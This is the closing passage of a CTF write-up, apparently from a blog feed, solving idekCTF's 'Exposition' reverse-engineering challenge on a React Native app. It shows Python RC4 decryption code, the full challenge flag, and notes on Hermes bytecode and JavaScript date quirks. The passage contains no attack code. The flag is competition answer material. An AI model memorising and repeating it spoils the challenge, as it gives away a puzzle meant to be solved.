</span><span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[</span><span class="mi">134</span><span class="p">,</span> <span class="mi">145</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">193</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="mi">196</span><span class="p">,</span> <span class="mi">78</span><span class="p">,</span> <span class="mi">177</span><span class="p">,</span> <span class="mi">206</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">168</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">136</span><span class="p">,</span> <span class="mi">194</span><span class="p">,</span> <span class="mi">158</span><span class="p">,</span> <span class="mi">195</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">243</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">190</span><span class="p">,</span> <span class="mi">218</span><span class="p">,</span> <span class="mi">173</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>

<span class="c1"># Decrypt
</span><span class="k">try</span><span class="p">:</span>
    <span class="n">decrypted</span> <span class="o">=</span> <span class="n">rc4_decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key_bytes</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Decrypted as string: </span><span class="si">{</span><span class="n">decrypted</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error during decryption: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>This approach successfully revealed the final 27 characters of the flag by reversing the RC4 encryption using the physics parameters as the decryption key.</p>

<h2 id="solution">Solution</h2>

<p>Combining all three parts, the complete flag was:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>idek{d3spit3_th3_nam3_No_Expo_was_Used_in_the_cr34t10n_of_7hi5_4pp}
</code></pre></div></div>

<p>The flag itself is a clever reference to the challenge name “Exposition” - despite the name, no actual Expo (React Native development framework) was used in creating the app!</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>This challenge was an excellent introduction to React Native reverse engineering and taught several valuable techniques:</p>

<h3 id="technical-skills-gained">Technical Skills Gained</h3>

<p><strong>Hermes Bytecode Analysis</strong>: Learning to identify and decompile Hermes JavaScript bytecode using tools like <code class="language-plaintext highlighter-rouge">hermes-dec</code></p>

<h3 id="javascript-quirks">JavaScript Quirks</h3>

<p>A fun side discovery was JavaScript’s bizarre date handling behavior. The invalid date <code class="language-plaintext highlighter-rouge">"2025-00-00"</code> automatically normalizing to <code class="language-plaintext highlighter-rouge">"2024-11-30T00:00:00.000Z"</code> is exactly the kind of quirk that makes JavaScript both fascinating and frustrating. There’s actually a <a href="https://jsdate.wtf/">hilarious quiz about JavaScript date oddities</a> that demonstrates just how unpredictable the Date object can be!</p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">idek{d3spit3_th3_nam3_No_Expo_was_Used_in_the_cr34t10n_of_7hi5_4pp}</code></p>

<hr />]]></content><author><name>Luca</name></author><category term="writeup" /><category term="writeup" /><category term="reverse engineering" /><category term="android" /><category term="react native" /><category term="idekctf" /><summary type="html"><![CDATA[Reverse engineering a React Native application]]></summary></entry></feed>